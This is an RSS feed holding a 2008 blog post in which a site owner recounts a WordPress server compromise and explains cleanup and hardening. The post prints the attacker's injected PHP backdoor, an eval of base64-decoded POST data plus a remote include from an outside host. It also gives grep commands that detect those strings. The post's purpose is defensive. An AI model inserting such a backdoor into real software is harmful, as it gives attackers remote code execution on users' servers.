<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Steve Taylor &#187; security</title>
	<atom:link href="http://sltaylor.co.uk/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://sltaylor.co.uk</link>
	<description>Web development, design and more</description>
	<pubDate>Sun, 01 Jun 2008 17:41:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>WordPress security</title>
		<link>http://sltaylor.co.uk/blog/2008/04/wordpress-security/</link>
		<comments>http://sltaylor.co.uk/blog/2008/04/wordpress-security/#comments</comments>
		<pubDate>Sat, 19 Apr 2008 18:17:06 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[security]]></category>

		<category><![CDATA[spam]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=29</guid>
		<description><![CDATA[My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the [...]]]></description>
			<content:encoded><![CDATA[<p>My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).</p>
<p>Needless to say, I&#8217;ve been forced to quickly learn a lot about web security, and I&#8217;ve been grateful to be forced to do so without major losses. I&#8217;ll try and document some useful things I&#8217;ve learned here.</p>
<h2>The hack</h2>
<p>I&#8217;m not sure anyone&#8217;s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.</p>
<p>With the recent release of <a href="http://wordpress.org/development/2008/03/wordpress-25-brecker/">WP 2.5</a>, there have been some <a href="http://dougal.gunters.org/blog/2008/04/08/upgrade-or-else">sharp warnings</a> about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.</p>
<p>In the end, <em>all</em> my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I&#8217;ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by <code>.htaccess</code> logins) were compromised. In any case, the lesson here is clear: <em>keep all WP installations on any server you run upgraded to the latest version</em>.</p>
<p>The signs of the attack are quite distinct. It&#8217;s documented <a href="http://wordpress.org/support/topic/168964">on the WP forum</a> and by <a href="http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/">other people</a>. Here&#8217;s my summary of my experience:</p>
<ul>
<li>New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called <code>taxonomy.php</code>, there might be a new file called <code>taxonomy_old.php</code> or <code>taxonomy_new.php</code>. Other common new names included image-like extensions, e.g. <code>crop.php.pngg</code> or <code>wlw_old.php.giff</code>.</li>
<li>The main WP <code>index.php</code> changed to look like this:<br />
<blockquote class="code"><p>&lt;?php if(md5($_COOKIE['_wp_debugger'])==<br />
&quot;[long hash string here]&quot;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php<br />
/* Short and sweet */<br />
if (isset($_GET['license'])) {<br />
	@include(&#8217;http://wordpress.net.in/license.txt&#8217;);<br />
} else {<br />
	define(&#8217;WP_USE_THEMES&#8217;, true);<br />
	require(&#8217;./wp-blog-header.php&#8217;);<br />
}<br />
?&gt;</p>
</blockquote>
</li>
<li>That top line of PHP code was inserted into many other files.</li>
<li>A new user account could be found in the <code>wp_user</code> table, username &#8220;WordPress&#8221;. Apparently it doesn&#8217;t show up in the WP admin screen&#8212;check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in <code>wp_usermeta</code>, along with other entries that didn&#8217;t have a corresponding account in <code>wp_user</code>.</li>
<li>In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.</li>
</ul>
<p>Apparently another common sign of this attack is the appearance of files named <code>wp-info.txt</code> (containing passwords and so on that have been discovered by the above scripts). I didn&#8217;t get this, but watch for this too.</p>
<h2>Cleaning up</h2>
<ol>
<li>First, using phpMyAdmin, delete the &#8220;WordPress&#8221; entry from <code>wp_user</code> and its corresponding entries in <code>wp_usermeta</code>. Also delete all entries in <code>wp_usermeta</code> where the <code>user_id</code> value doesn&#8217;t correspond to a legitimate account in <code>wp_user</code>.</li>
<li>SSH into your server and search for offending code. I found the following commands useful:<br />
<blockquote class="code"><p>grep &#8211;recursive &#8220;eval(base64_decode($_POST['file']));&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;http://wordpress.net.in/license.txt&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;find suid files&#8221; *</p>
</blockquote>
<p>These search all files (<code>*</code>) in all sub-directories (<code>--recursive</code>, with two dashes&#8212;WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. <a href="http://wordpress.org/support/topic/168964#post-737989">This guy</a> has some other goodies.</p>
<li>Remove all offending files, via FTP or SSH (see above link).</li>
</li>
</ol>
<h2>Securing WordPress</h2>
<p>Obviously, upgrade all installations to <a href="http://wordpress.org/download/">the latest version</a>. This might make the last step redundant, but of course you should preserve your <code>wp-content</code> directory (while thoroughly scanning those files for hacked code).</p>
<p>Then do the following:</p>
<ol>
<li>With all of the following, use <a href="https://www.grc.com/passwords.htm">strong random passwords</a>. Of course they needn&#8217;t be as long as the ones on the page I&#8217;ve linked to, but it&#8217;s a good place to grab however many characters you need.</li>
<li>Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.</li>
<li>Change the default admin account username in all WP installations to something other than &#8220;admin&#8221;. You&#8217;ll need to do this via phpMyAdmin&#8212;change the <code>user_login</code> field.</li>
<li>Change all WP user account passwords.</li>
<li>Heck, change any other passwords too (like FTP).</li>
<li>Change the default <code>wp_</code> prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP&#8217;s in the same database. That&#8217;s possible (but not ideal). Really, the main benefit is so hackers don&#8217;t know what your database tables are called. <a href="http://www.richardsramblings.com/2008/02/06/changing-your-wordpress-table-prefix/">Richard LeCour</a> has a good guide to this, and there&#8217;s even <a href="http://blogsecurity.net/wordpress/tool-130707/">a plugin</a>. Here&#8217;s my summary of the manual method:
<ol>
<li>Change value of the <code>$table_prefix</code> variable in <code>wp-config.php</code>. I use a string of 5 or so characters from <a href="https://www.grc.com/passwords.htm">the password page</a>.</li>
<li>In phpMyAdmin, on the main page for the database in question, click the &#8216;SQL&#8217; tab. Use the following code to change the table names. (Obviously adjust for any other <code>wp_</code>-prefixed tables, e.g. tables created by various plugins.)<br />
<blockquote class="code"><p>RENAME TABLE wp_comments TO [your prefix here]_comments;<br />
RENAME TABLE wp_links TO [your prefix here]_links;<br />
RENAME TABLE wp_options TO [your prefix here]_options;<br />
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;<br />
RENAME TABLE wp_posts TO [your prefix here]_posts;<br />
RENAME TABLE wp_terms TO [your prefix here]_terms;<br />
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;<br />
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;<br />
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;<br />
RENAME TABLE wp_users TO [your prefix here]_users;</p>
</blockquote>
<p>Note: I&#8217;ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. <code>wp_posts</code>. You&#8217;ll need to change any instances of the same habit in your code using <code>$wpdb->prefix</code>. For instance, this:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM wp_posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Should become:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM &#8220;.$wpdb->prefix.&#8221;posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Most plugins use this to remain portable, but you might want to search your plugins for hard-coded <code>wp_</code>&#8217;s too.
</li>
<li>In the <code>options</code> table, change the <code>option_name</code> called <code>wp_user_roles</code> to have your new prefix instead of <code>wp_</code>.</li>
<li>Likewise for all <code>meta_key</code> values in the <code>usermeta</code> table that start with <code>wp_</code>.</li>
</ol>
</li>
<li>Finally, re-do the <code>grep</code> SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.</li>
</ol>
<p>My server&#8217;s been fine since doing all these things (though I&#8217;m touching wood now). Hopefully this&#8217;ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.</p>
<p>Here&#8217;s some more resources on WordPress that I&#8217;m still absorbing:</p>
<ul>
<li><a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a></li>
<li><a href="http://blogsecurity.net/wordpress/">BlogSecurity.net: WordPress</a> (see especially their <a href="http://blogsecurity.net/wordpress/wordpress-security-whitepaper/">WordPress Security Whitepaper</a>)</li>
</ul>
<h2>WordPress 2.5</h2>
<p>I&#8217;m really pleased with the new version of WordPress&#8212;great interface improvements, and it seems much nippier. However, I thought a curious new addition to the <code>wp-config.php</code> file could have done with some documentation, or some attention drawn to it. You&#8217;ll find this in 2.5&#8217;s new file:</p>
<blockquote class="code"><p>// Change SECRET_KEY to a unique phrase.  You won&#8217;t have to remember it later,<br />
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm<br />
// to get a phrase generated for you, or just make something up.<br />
define(&#8217;SECRET_KEY&#8217;, &#8216;put your unique phrase here&#8217;); // Change this to a unique phrase.</p>
</blockquote>
<p>Some people have missed this, apparently exposing themselves to <a href="http://blogsecurity.net/wordpress/wordpress-25-secret_key-vulnerability/">the one 2.5 vulnerability I&#8217;ve heard of so far</a>. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.</p>
<p>One more non-security note about the new <code>wp-config.php</code> file. If you upgrade to 2.5 and find your blog content&#8217;s got loads of garbled characters in it, the culprit is probably this new line:</p>
<blockquote class="code"><p>define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Comment it out like this:</p>
<blockquote class="code"><p>//define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2008/04/wordpress-security/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
